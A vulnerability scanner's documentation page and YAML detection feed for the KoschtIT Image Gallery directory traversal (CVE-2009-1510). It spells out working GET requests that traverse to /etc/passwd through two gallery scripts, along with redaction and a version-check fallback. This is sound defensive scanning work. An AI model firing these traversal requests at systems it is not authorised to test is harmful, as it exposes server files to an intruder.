KoschtIT — 1 vulnerability check
noctis ships 1 vulnerability check for KoschtIT, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
KoschtIT Image Gallery ki_makepic.php / ki_nojsdisplayimage.php Directory Traversal
| CVE | CVE-2009-1510 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/koschtit/CVE-2009-1510.yaml |
Tests KoschtIT Image Gallery for the directory traversal in the file parameter of ki_base/ki_makepic.php and ki_base/ki_nojsdisplayimage.php (version 1.82 and earlier). In the /kos2, /koschtit, /koschtit2 and /gallery directories and the web root, the feed requests both scripts with file set to a ../ sequence ending in etc/passwd. When the reply contains the content of /etc/passwd, and a control request for an absent random file through the same script does not, the installation is reported as vulnerable. Only this world-readable system file is read, and the account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence. When no file content comes back, the feed reads changelog.txt in the same directories and reports an installation whose changelog names KoschtIT Image Gallery 1.82 or earlier (including 1.82 betas).
How noctis detects it
- HTTP(S) request
GET {{dir}}/ki_base/ki_makepic.php?file=../../../../../../../../../../etc/passwd - HTTP(S) request
GET {{dir}}/ki_base/ki_nojsdisplayimage.php?file=../../../../../../../../../../etc/passwd - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/ki_base/{{proof.script}}?file={{ctrl_path}} - Parses / computes the next value with a Rhai script
- Checks
verdictfor^proof:→ finding QoD 75: KoschtIT Image Gallery Directory Traversal (CVE-2009-1510) - HTTP(S) request
GET {{dir}}/changelog.txt - Parses / computes the next value with a Rhai script
- Checks
fallbackfor^version:→ finding QoD 70: KoschtIT Image Gallery 1.82 or earlier (CVE-2009-1510)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-1510
- https://www.exploit-db.com/exploits/8334
- http://www.securityfocus.com/bid/34335
Feed source — tests/vulnerabilities/koschtit/CVE-2009-1510.yaml
# KoschtIT Image Gallery ki_base/ki_makepic.php / ki_nojsdisplayimage.php
# "file" directory traversal — CVE-2009-1510
#
# KoschtIT Image Gallery 1.82 and earlier (a PHP photo gallery, unmaintained)
# build "../ki_galleries/" . $_GET['file'] in ki_base/ki_makepic.php and
# ki_base/ki_nojsdisplayimage.php without filtering "../" (advisory:
# exploit-db 8334 / milw0rm 2009-04-01; BID 34335). The advisory's exploit is
# <dir>/ki_base/ki_makepic.php?file=[local_file]
# <dir>/ki_base/ki_nojsdisplayimage.php?file=[local_file]
#
# Detection, per install directory (/kos2, /koschtit, /koschtit2, /gallery and
# the web root):
# 1. Proof (QoD 75, read-only): the advisory's request on both scripts with
# file=../../../../../../../../../../etc/passwd; the reply must carry a
# uid-0 passwd line. A control request through the same script for an
# absent random directory that still ends in etc/passwd must come back
# without one (blanket responders, honeypots keyed on the file name).
# Fail-closed: no control reply → no proof.
# 2. Fallback (QoD 70): <dir>/changelog.txt names "KoschtIT Image Gallery"
# and its version ("Gallery <x.y>[beta<n>]") is 1.82 or earlier. Every
# directory is tried for the proof first; the version fallback is reported
# only after that.
#
# Reply format caveat: the KoschtIT 1.82 source is no longer published (the
# vendor site is gone, no mirror was found). The advisory's quoted code passes
# the traversed path to getimagesize() and then builds an image, so on most
# installs a text file such as /etc/passwd may not come back verbatim and the
# version fallback is what fires. The proof branch keeps the advisory's exact
# request and only matches the passwd signature anywhere in the body.
#
# Improvements over the source NASL (version check only):
# - In-band read attempt on both vulnerable scripts with an absent-file
# control, reported at QoD 75 when the file comes back.
# - A "<x.y>beta<n>" changelog entry is compared on <x.y> (a beta of 1.82 is
# older than 1.82); the NASL turns it into "<x.y>.<n>", which is newer than
# 1.82, and misses 1.82 betas.
# - The /gallery directory is tried too.
#
# CVSS: CVE-2009-1510 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_koschtit_image_gallery_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800803, GPL-2.0-only).
uid: 79a8456c-34e4-4388-a416-a8a8146dcccd
name: "KoschtIT Image Gallery ki_makepic.php / ki_nojsdisplayimage.php Directory Traversal (CVE-2009-1510)"
description: |
Tests KoschtIT Image Gallery for the directory traversal in the file
parameter of ki_base/ki_makepic.php and ki_base/ki_nojsdisplayimage.php
(version 1.82 and earlier). In the /kos2, /koschtit, /koschtit2 and /gallery
directories and the web root, the feed requests both scripts with file set
to a ../ sequence ending in etc/passwd. When the reply contains the content
of /etc/passwd, and a control request for an absent random file through the
same script does not, the installation is reported as vulnerable. Only this
world-readable system file is read, and the account name (unless root),
password field and gecos of the uid-0 line are redacted from the evidence.
When no file content comes back, the feed reads changelog.txt in the same
directories and reports an installation whose changelog names KoschtIT
Image Gallery 1.82 or earlier (including 1.82 betas).
cves: [CVE-2009-1510]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [koschtit, php, path-traversal, directory-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-1510"
- "https://www.exploit-db.com/exploits/8334"
- "http://www.securityfocus.com/bid/34335"
# OpenVAS/Greenbone NASL 2009/gb_koschtit_image_gallery_dir_trav_vuln.nasl (GPL-2.0-only)
steps:
# Version-fallback candidate, collected over all passes.
- id: init-fallback
action: set_var
var_name: fallback
var_value: ""
# ── Pass 1, per install directory: proof, then the version candidate.
# Every stored result is reset each pass (a failed request leaves it unset).
- id: init-changelog
action: set_var
var_name: cl
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/kos2", "/koschtit", "/koschtit2", "/gallery", ""]
- id: init-makepic
action: set_var
var_name: mk
var_value: {status: 0, body: ""}
- id: init-nojs
action: set_var
var_name: nj
var_value: {status: 0, body: ""}
- id: init-control
action: set_var
var_name: ctl
var_value: {status: 0, body: ""}
- id: init-proof
action: set_var
var_name: proof
var_value: {script: "", line: ""}
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-verdict
action: set_var
var_name: verdict
var_value: ""
- id: read-makepic
action: http_request
method: GET
path: "{{dir}}/ki_base/ki_makepic.php?file=../../../../../../../../../../etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: mk
- id: read-nojs
action: http_request
method: GET
path: "{{dir}}/ki_base/ki_nojsdisplayimage.php?file=../../../../../../../../../../etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: nj
# Which script returned a uid-0 passwd line; only the name, gid and
# home:shell are kept, the rest is redacted (the raw body never becomes
# evidence).
- id: pick-proof
action: script
store_as: proof
code: |
let redact = |body| {
if type_of(body) != "string" { return ""; }
let m = eregmatch("(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)", body);
if m.len() < 4 { return ""; }
if m[1] == "root" {
"root:<redacted>:0:" + m[2] + ":<redacted>:" + m[3]
} else {
"<redacted>:<redacted>:0:" + m[2] + ":<redacted>:<redacted>"
}
};
let a = redact.call(mk.body);
if a != "" { return #{ script: "ki_makepic.php", line: a }; }
let b = redact.call(nj.body);
if b != "" { return #{ script: "ki_nojsdisplayimage.php", line: b }; }
#{ script: "", line: "" }
# Control: same script, a random missing directory that still ends with
# etc/passwd — a honeypot keyed on the file name answers it too.
- id: control-path
action: script
condition: 'proof.script != ""'
store_as: ctrl_path
code: '"../../../../../../../../../../noctis-absent-" + oob_token + "/etc/passwd"'
- id: control
action: http_request
condition: 'proof.script != ""'
method: GET
path: "{{dir}}/ki_base/{{proof.script}}?file={{ctrl_path}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: ctl
- id: judge
action: script
store_as: verdict
code: |
if proof.script == "" || ctl.status == 0 { return ""; }
let cb = if type_of(ctl.body) == "string" { ctl.body } else { "" };
if ereg("(?m)(?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:", cb) { return ""; }
"proof: " + dir + "/ki_base/" + proof.script + "?file=../../../../../../../../../../etc/passwd returned /etc/passwd (" + proof.line + "); control for an absent file answered HTTP " + ctl.status + " without passwd content"
- id: report-read
action: match
source: verdict
pattern: "^proof: "
on_match:
finding:
title: "KoschtIT Image Gallery Directory Traversal (CVE-2009-1510)"
description: "An unauthenticated request to a KoschtIT Image Gallery ki_base script with the file parameter set to a ../ sequence ending in etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reaches other files the web server user can read."
remediation: "KoschtIT Image Gallery 1.82 is unmaintained: remove it, or upgrade to a later release and deny web access to ki_base/ki_makepic.php and ki_base/ki_nojsdisplayimage.php for paths outside ki_galleries/."
confidence_delta: 0.55
qod: 75
evidence: "{{verdict}}"
stop: true
# Version candidate from changelog.txt (first directory that qualifies).
- id: get-changelog
action: http_request
method: GET
path: "{{dir}}/changelog.txt"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
store_as: cl
- id: collect-fallback
action: script
store_as: fallback
code: |
if fallback != "" { return fallback; }
let b = if type_of(cl.body) == "string" { cl.body } else { "" };
if cl.status != 200 || !b.contains("KoschtIT Image Gallery") { return ""; }
let m = eregmatch("Gallery ([0-9.]+)(beta)?([0-9]+)?", b);
if m.len() < 2 { return ""; }
let base = m[1];
while base.ends_with(".") { base = base.sub_string(0, base.len() - 1); }
if base == "" || base.starts_with(".") { return ""; }
let parts = base.split(".");
let want = [1, 82];
let cmp = 0;
let n = if parts.len() > 2 { parts.len() } else { 2 };
for i in 0..n {
let a = if i < parts.len() && parts[i] != "" { int(parts[i]) } else { 0 };
let w = if i < 2 { want[i] } else { 0 };
if cmp == 0 && a < w { cmp = -1; }
if cmp == 0 && a > w { cmp = 1; }
}
if cmp > 0 { return ""; }
let shown = if m.len() > 3 && m[2] != "" { base + "beta" + m[3] } else { base };
"version: " + dir + "/changelog.txt names KoschtIT Image Gallery " + shown + " (1.82 or earlier); the traversal request returned no file content"
# ── Pass 2 (runs once, after every directory was tried for the proof).
- id: after-proof
action: set_var
var_name: fallback_done
var_value: true
loop:
var: phase
over: ["once"]
- id: report-version
action: match
source: fallback
pattern: "^version: "
on_match:
finding:
title: "KoschtIT Image Gallery 1.82 or earlier (CVE-2009-1510)"
description: "The changelog.txt of a KoschtIT Image Gallery installation names version 1.82 or earlier, which does not filter ../ sequences in the file parameter of ki_base/ki_makepic.php and ki_base/ki_nojsdisplayimage.php."
remediation: "KoschtIT Image Gallery 1.82 is unmaintained: remove it, or upgrade to a later release and deny web access to ki_base/ki_makepic.php and ki_base/ki_nojsdisplayimage.php for paths outside ki_galleries/."
confidence_delta: 0.40
qod: 70
evidence: "{{fallback}}"
stop: true